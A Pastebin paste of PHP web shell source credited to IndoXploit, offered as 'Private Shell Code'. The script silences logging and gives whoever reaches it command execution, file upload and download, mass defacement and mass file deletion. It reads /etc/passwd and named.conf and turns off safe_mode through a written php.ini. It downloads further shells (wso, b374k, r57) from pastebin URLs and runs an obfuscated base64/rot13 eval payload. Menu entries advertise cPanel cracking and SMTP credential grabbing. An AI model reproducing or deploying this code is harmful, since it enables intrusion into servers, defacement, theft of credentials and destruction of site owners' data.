API tools faq
paste
xLulzBoatx

Private Shell Code - DDOS (NO LOG)

xLulzBoatx
Aug 6th, 2016
1,979
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.63 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @error_log(0);
  5. @ini_set('error_log',NULL);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. @set_time_limit(0);
  11. @set_magic_quotes_runtime(0);
  12. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  13. if( empty( $lol ) ||
  14. ( isset( $_POST['--00--'] ) && ( md5($_POST['--00--']) == $lol ) ) )
  15. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  16. else
  17. printLogin();
  18. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  19. @ob_clean();
  20. $file = $_GET['file'];
  21. header('Content-Description: File Transfer');
  22. header('Content-Type: application/octet-stream');
  23. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  24. header('Expires: 0');
  25. header('Cache-Control: must-revalidate');
  26. header('Pragma: public');
  27. header('Content-Length: ' . filesize($file));
  28. readfile($file);
  29. exit;
  30. }
  31.  
  32. ?>
  33. <html>
  34. <head>
  35. <title>--00--</title>
  36. <link href='http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&path-prefix=es' rel='icon' type='image/x-icon'/>
  37. <meta name='author' content='IndoXploit'>
  38. <meta charset="UTF-8">
  39. <style type='text/css'>
  40. @import url(https://fonts.googleapis.com/css?family=Abel);
  41. @import url(http://cdn.poln.biz/css1.css?family=Abel);
  42. html {
  43. background: #000000;
  44. color: #ffffff;
  45. font-family: 'Abel';
  46. font-size: 13px;
  47. width: 100%;
  48. }
  49. li {
  50. display: inline;
  51. margin: 5px;
  52. padding: 5px;
  53. }
  54. table, th, td {
  55. border-collapse:collapse;
  56. font-family: Tahoma, Geneva, sans-serif;
  57. background: transparent;
  58. font-family: 'Abel';
  59. font-size: 13px;
  60. }
  61. .table_home, .th_home, .td_home {
  62. border: 1px solid #ffffff;
  63. }
  64. th {
  65. padding: 10px;
  66. }
  67. a {
  68. color: #ffffff;
  69. text-decoration: none;
  70. }
  71. a:hover {
  72. color: gold;
  73. text-decoration: underline;
  74. }
  75. b {
  76. color: gold;
  77. }
  78. input[type=text], input[type=password],input[type=submit] {
  79. background: transparent;
  80. color: #ffffff;
  81. border: 1px solid #ffffff;
  82. margin: 5px auto;
  83. padding-left: 5px;
  84. font-family: 'Abel';
  85. font-size: 13px;
  86. }
  87. textarea {
  88. border: 1px solid #ffffff;
  89. width: 100%;
  90. height: 400px;
  91. padding-left: 5px;
  92. margin: 10px auto;
  93. resize: none;
  94. background: transparent;
  95. color: #ffffff;
  96. font-family: 'Abel';
  97. font-size: 13px;
  98. }
  99. select {
  100. background: transparent;
  101. color: #ffffff;
  102. border: 1px solid #ffffff;
  103. margin: 5px auto;
  104. padding-left: 5px;
  105. font-family: 'Abel';
  106. font-size: 13px;
  107. }
  108. .but {
  109. background: transparent;
  110. color: #ffffff;
  111. border: 1px solid #ffffff;
  112. margin: 5px auto;
  113. padding-left: 5px;
  114. font-family: 'Abel';
  115. font-size: 13px;
  116. }
  117. </style>
  118. </head>
  119. <?php
  120. if (file_exists("php.ini")){
  121. }else{
  122. $img = fopen('php.ini', 'w');
  123. $sec = "safe_mode = OFF
  124. disable_funtions = NONE";
  125. fwrite($img ,$sec);
  126. fclose($img);}
  127. function w($dir,$perm) {
  128. if(!is_writable($dir)) {
  129. return "<font color=red>".$perm."</font>";
  130. } else {
  131. return "<font color=lime>".$perm."</font>";
  132. }
  133. }
  134. function exe($cmd) {
  135. if(function_exists('system')) {
  136. @ob_start();
  137. @system($cmd);
  138. $buff = @ob_get_contents();
  139. @ob_end_clean();
  140. return $buff;
  141. } elseif(function_exists('exec')) {
  142. @exec($cmd,$results);
  143. $buff = "";
  144. foreach($results as $result) {
  145. $buff .= $result;
  146. } return $buff;
  147. } elseif(function_exists('passthru')) {
  148. @ob_start();
  149. @passthru($cmd);
  150. $buff = @ob_get_contents();
  151. @ob_end_clean();
  152. return $buff;
  153. } elseif(function_exists('shell_exec')) {
  154. $buff = @shell_exec($cmd);
  155. return $buff;
  156. }
  157. }
  158. function perms($file){
  159. $perms = fileperms($file);
  160. if (($perms & 0xC000) == 0xC000) {
  161. $info = 's';
  162. } elseif (($perms & 0xA000) == 0xA000) {
  163. $info = 'l';
  164. } elseif (($perms & 0x8000) == 0x8000) {
  165. $info = '-';
  166. } elseif (($perms & 0x6000) == 0x6000) {
  167. $info = 'b';
  168. } elseif (($perms & 0x4000) == 0x4000) {
  169. $info = 'd';
  170. } elseif (($perms & 0x2000) == 0x2000) {
  171. $info = 'c';
  172. } elseif (($perms & 0x1000) == 0x1000) {
  173. $info = 'p';
  174. } else {
  175. $info = 'u';
  176. }
  177. $info .= (($perms & 0x0100) ? 'r' : '-');
  178. $info .= (($perms & 0x0080) ? 'w' : '-');
  179. $info .= (($perms & 0x0040) ?
  180. (($perms & 0x0800) ? 's' : 'x' ) :
  181. (($perms & 0x0800) ? 'S' : '-'));
  182. $info .= (($perms & 0x0020) ? 'r' : '-');
  183. $info .= (($perms & 0x0010) ? 'w' : '-');
  184. $info .= (($perms & 0x0008) ?
  185. (($perms & 0x0400) ? 's' : 'x' ) :
  186. (($perms & 0x0400) ? 'S' : '-'));
  187. $info .= (($perms & 0x0004) ? 'r' : '-');
  188. $info .= (($perms & 0x0002) ? 'w' : '-');
  189. $info .= (($perms & 0x0001) ?
  190. (($perms & 0x0200) ? 't' : 'x' ) :
  191. (($perms & 0x0200) ? 'T' : '-'));
  192. return $info;
  193. }
  194. function hdd($s) {
  195. if($s >= 1073741824)
  196. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  197. elseif($s >= 1048576)
  198. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  199. elseif($s >= 1024)
  200. return sprintf('%1.2f',$s / 1024 ) .' KB';
  201. else
  202. return $s .' B';
  203. }
  204. function ambilWord($param, $kata1, $kata2){
  205. if(strpos($param, $kata1) === FALSE) return FALSE;
  206. if(strpos($param, $kata2) === FALSE) return FALSE;
  207. $start = strpos($param, $kata1) + strlen($kata1);
  208. $end = strpos($param, $kata2, $start);
  209. $return = substr($param, $start, $end - $start);
  210. return $return;
  211. }
  212. if(get_magic_quotes_gpc()) {
  213. function idx_ss($array) {
  214. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  215. }
  216. $_POST = idx_ss($_POST);
  217. }
  218. function CreateTools($names,$lokasi){
  219. if ( $_GET['create'] == $names ){
  220. $a= "".$_SERVER['SERVER_NAME']."";
  221. $b= dirname($_SERVER['PHP_SELF']);
  222. $c = "/00_tools/".$names.".php";
  223. if (file_exists('00_tools/'.$names.'.php')){
  224. echo '<script type="text/javascript">alert("Done");window.location.href = "00_tools/'.$names.'.php";</script> ';
  225. }
  226. else {mkdir("00_tools", 0777);
  227. file_put_contents('00_tools/'.$names.'.php', file_get_contents($lokasi));
  228. echo ' <script type="text/javascript">alert("Done");window.location.href = "00_tools/'.$names.'.php";</script> ';}}}
  229.  
  230. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  231. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  232. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  233. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  234. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  235. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  236. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  237. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  238. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  239. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  240. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  241. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  242. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  243. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  244. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  245. if(isset($_GET['dir'])) {
  246. $dir = $_GET['dir'];
  247. chdir($_GET['dir']);
  248. } else {
  249. $dir = getcwd();
  250. }
  251. $dir = str_replace("\\","/",$dir);
  252. $scdir = explode("/", $dir);
  253. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  254. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  255. $ds = @ini_get("disable_functions");
  256. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  257. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  258. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  259. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  260. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  261. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  262. if(!function_exists('posix_getegid')) {
  263. $user = @get_current_user();
  264. $uid = @getmyuid();
  265. $gid = @getmygid();
  266. $group = "?";
  267. } else {
  268. $uid = @posix_getpwuid(posix_geteuid());
  269. $gid = @posix_getgrgid(posix_getegid());
  270. $user = $uid['name'];
  271. $uid = $uid['uid'];
  272. $group = $gid['name'];
  273. $gid = $gid['gid'];
  274. }
  275. $d0mains = @file("/etc/named.conf");
  276. $users=@file('/etc/passwd');
  277. if($d0mains)
  278. {
  279. $count;
  280. foreach($d0mains as $d0main)
  281. {
  282. if(@ereg("zone",$d0main))
  283. {
  284. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  285. flush();
  286. if(strlen(trim($domains[1][0])) > 2)
  287. {
  288. flush();
  289. $count++;
  290. }
  291. }
  292. }
  293. }
  294.  
  295. $sport=$_SERVER['SERVER_PORT'];
  296. echo "<table style='width:100%'>";
  297. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  298. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  299. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  300. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  301. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  302. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
  303. echo "<tr><td>Safe Mode: $sm</td></tr>";
  304. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  305. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  306. echo "<tr><td>Current DIR: ";
  307. foreach($scdir as $c_dir => $cdir) {
  308. echo "<a href='?dir=";
  309. for($i = 0; $i <= $c_dir; $i++) {
  310. echo $scdir[$i];
  311. if($i != $c_dir) {
  312. echo "/";
  313. }
  314. }
  315. echo "'>$cdir</a>/";
  316. }
  317. echo "</td></tr></table><hr>";
  318. echo "<center>";
  319. echo "<ul>";
  320. echo "<li>[ <a href='?'>Home</a> ]</li>";
  321. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  322. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  323. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  324. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  325. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  326. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  327. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  328. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  329. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  330. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  331. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  332. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  333. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  334. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  335. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  336. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  337. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  338. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  339. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  340. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  341. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  342. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  343. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  344. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  345. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  346. echo "</ul>";
  347. echo "</center>";
  348. echo "<hr>";
  349. if($_GET['do'] == 'upload') {
  350. echo "<center>";
  351. if($_POST['upload']) {
  352. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  353. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  354. } else {
  355. $act = "<font color=red>failed to upload file</font>";
  356. }
  357. }
  358. echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  359. echo $act;
  360. echo "</center>";
  361. }
  362. elseif($_GET['do'] == 'cmd') {
  363. echo "<form method='post'>
  364. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  365. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  366. </form>";
  367. if($_POST['do_cmd']) {
  368. echo "<pre>".exe($_POST['cmd'])."</pre>";
  369. }
  370. } elseif($_GET['do'] == 'mass_deface') {
  371. echo "<center><form action=\"\" method=\"post\">\n";
  372. $dirr=$_POST['d_dir'];
  373. $index = $_POST["script"];
  374. $index = str_replace('"',"'",$index);
  375. $index = stripslashes($index);
  376. function edit_file($file,$index){
  377. if (is_writable($file)) {
  378. clear_fill($file,$index);
  379. echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  380. }
  381. else {
  382. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  383. }
  384. }
  385. function hapus_massal($dir,$namafile) {
  386. if(is_writable($dir)) {
  387. $dira = scandir($dir);
  388. foreach($dira as $dirb) {
  389. $dirc = "$dir/$dirb";
  390. $lokasi = $dirc.'/'.$namafile;
  391. if($dirb === '.') {
  392. if(file_exists("$dir/$namafile")) {
  393. unlink("$dir/$namafile");
  394. }
  395. } elseif($dirb === '..') {
  396. if(file_exists("".dirname($dir)."/$namafile")) {
  397. unlink("".dirname($dir)."/$namafile");
  398. }
  399. } else {
  400. if(is_dir($dirc)) {
  401. if(is_writable($dirc)) {
  402. if(file_exists($lokasi)) {
  403. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  404. unlink($lokasi);
  405. $idx = hapus_massal($dirc,$namafile);
  406. }
  407. }
  408. }
  409. }
  410. }
  411. }
  412. }
  413. function clear_fill($file,$index){
  414. if(file_exists($file)){
  415. $handle = fopen($file,'w');
  416. fwrite($handle,'');
  417. fwrite($handle,$index);
  418. fclose($handle); } }
  419.  
  420. function gass(){
  421. global $dirr , $index ;
  422. chdir($dirr);
  423. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  424. $files = scandir($dirr) ;
  425. $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  426. sort($files);
  427. $n = 0 ;
  428. foreach ($files as $file){
  429. if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  430. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  431. edit_file($file,$index);
  432. flush();
  433. $n = $n +1 ;
  434. }
  435. }
  436. echo "<br>";
  437. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
  438. }
  439. function ListFiles($dirrall) {
  440.  
  441. if($dh = opendir($dirrall)) {
  442.  
  443. $files = Array();
  444. $inner_files = Array();
  445. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  446. $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  447. while($file = readdir($dh)) {
  448. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  449. if(is_dir($dirrall . "/" . $file)) {
  450. $inner_files = ListFiles($dirrall . "/" . $file);
  451. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  452. } else {
  453. array_push($files, $dirrall . "/" . $file);
  454. }
  455. }
  456. }
  457.  
  458. closedir($dh);
  459. return $files;
  460. }
  461. }
  462. function gass_all(){
  463. global $index ;
  464. $dirrall=$_POST['d_dir'];
  465. foreach (ListFiles($dirrall) as $key=>$file){
  466. $file = str_replace('//',"/",$file);
  467. echo "<center><strong>$file</strong> ===>";
  468. edit_file($file,$index);
  469. flush();
  470. }
  471. $key = $key+1;
  472. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
  473. function sabun_massal($dir,$namafile,$isi_script) {
  474. if(is_writable($dir)) {
  475. $dira = scandir($dir);
  476. foreach($dira as $dirb) {
  477. $dirc = "$dir/$dirb";
  478. $lokasi = $dirc.'/'.$namafile;
  479. if($dirb === '.') {
  480. file_put_contents($lokasi, $isi_script);
  481. } elseif($dirb === '..') {
  482. file_put_contents($lokasi, $isi_script);
  483. } else {
  484. if(is_dir($dirc)) {
  485. if(is_writable($dirc)) {
  486. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  487. file_put_contents($lokasi, $isi_script);
  488. $idx = sabun_massal($dirc,$namafile,$isi_script);
  489. }
  490. }
  491. }
  492. }
  493. }
  494. }
  495. if($_POST['mass'] == 'onedir') {
  496. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  497. $ini="http://";
  498. $mainpath=$_POST[d_dir];
  499. $file=$_POST[d_file];
  500. $dir=opendir("$mainpath");
  501. $code=base64_encode($_POST[script]);
  502. $indx=base64_decode($code);
  503. while($row=readdir($dir)){
  504. $start=@fopen("$row/$file","w+");
  505. $finish=@fwrite($start,$indx);
  506. if ($finish){
  507. echo"$ini$row/$file\n";
  508. }
  509. }
  510. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  511. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  512. $dir=opendir("$mainpath");
  513. $code=base64_encode($_POST[script]);
  514. $indx=base64_decode($code);
  515. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  516. $finish=@fwrite($start,$indx);
  517. if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  518. }
  519.  
  520. }
  521. elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  522. elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  523. elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  524. elseif($_POST['mass'] == 'massdeface') {
  525. echo "<div style='margin: 5px auto; padding: 5px'>";
  526. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  527. echo "</div>"; }
  528. else {
  529. echo "
  530. <center><font style='text-decoration: underline;'>
  531. Select Type:<br>
  532. </font>
  533. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  534. <option value=\"onedir\">Mass Deface 1 Dir</option>
  535. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  536. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  537. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  538. <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  539. <font style='text-decoration: underline;'>Folder:</font><br>
  540. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  541. <font style='text-decoration: underline;'>Filename:</font><br>
  542. <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
  543. <font style='text-decoration: underline;'>Index File:</font><br>
  544. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By --00--</textarea><br>
  545. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  546. </form></center>";
  547. }
  548. }
  549. elseif($_GET['do'] == 'zip') {
  550. echo "<center><h1>Zip Menu</h1>";
  551. function rmdir_recursive($dir) {
  552. foreach(scandir($dir) as $file) {
  553. if ('.' === $file || '..' === $file) continue;
  554. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  555. else unlink("$dir/$file");
  556. }
  557. rmdir($dir);
  558. }
  559. if($_FILES["zip_file"]["name"]) {
  560. $filename = $_FILES["zip_file"]["name"];
  561. $source = $_FILES["zip_file"]["tmp_name"];
  562. $type = $_FILES["zip_file"]["type"];
  563. $name = explode(".", $filename);
  564. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  565. foreach($accepted_types as $mime_type) {
  566. if($mime_type == $type) {
  567. $okay = true;
  568. break;
  569. }
  570. }
  571. $continue = strtolower($name[1]) == 'zip' ? true : false;
  572. if(!$continue) {
  573. $message = "Itu Bukan Zip , , GOBLOK COK";
  574. }
  575. $path = dirname(__FILE__).'/';
  576. $filenoext = basename ($filename, '.zip');
  577. $filenoext = basename ($filenoext, '.ZIP');
  578. $targetdir = $path . $filenoext;
  579. $targetzip = $path . $filename;
  580. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  581. mkdir($targetdir, 0777);
  582. if(move_uploaded_file($source, $targetzip)) {
  583. $zip = new ZipArchive();
  584. $x = $zip->open($targetzip);
  585. if ($x === true) {
  586. $zip->extractTo($targetdir);
  587. $zip->close();
  588.  
  589. unlink($targetzip);
  590. }
  591. $message = "<b>Sukses Gan :)</b>";
  592. } else {
  593. $message = "<b>Error Gan :(</b>";
  594. }
  595. }
  596. echo '<table style="width:100%" border="1">
  597. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  598. <label>Zip File : <input type="file" name="zip_file" /></label>
  599. <input type="submit" name="submit" value="Upload And Unzip" />
  600. </form>';
  601. if($message) echo "<p>$message</p>";
  602. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  603. if($_POST['backup']){
  604. $save=$_POST['save'];
  605. function Zip($source, $destination)
  606. {
  607. if (extension_loaded('zip') === true)
  608. {
  609. if (file_exists($source) === true)
  610. {
  611. $zip = new ZipArchive();
  612.  
  613. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  614. {
  615. $source = realpath($source);
  616.  
  617. if (is_dir($source) === true)
  618. {
  619. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  620.  
  621. foreach ($files as $file)
  622. {
  623. $file = realpath($file);
  624.  
  625. if (is_dir($file) === true)
  626. {
  627. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  628. }
  629.  
  630. else if (is_file($file) === true)
  631. {
  632. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  633. }
  634. }
  635. }
  636.  
  637. else if (is_file($source) === true)
  638. {
  639. $zip->addFromString(basename($source), file_get_contents($source));
  640. }
  641. }
  642.  
  643. return $zip->close();
  644. }
  645. }
  646.  
  647. return false;
  648. }
  649. Zip($_POST['dir'],$save);
  650. echo "Done , Save To <b>$save</b>";
  651. }
  652. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  653. if($_POST['extrak']){
  654. $save=$_POST['save'];
  655. $zip = new ZipArchive;
  656. $res = $zip->open($_POST['dir']);
  657. if ($res === TRUE) {
  658. $zip->extractTo($save);
  659. $zip->close();
  660. echo 'Succes , Location : <b>'.$save.'</b>';
  661. } else {
  662. echo 'Gagal Mas :( Ntahlah !';
  663. }
  664. }
  665. echo '</tr></table>';
  666. }
  667. elseif($_GET['do'] == 'shellchk') {
  668. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  669. } elseif($_GET['do'] == 'loghunter')
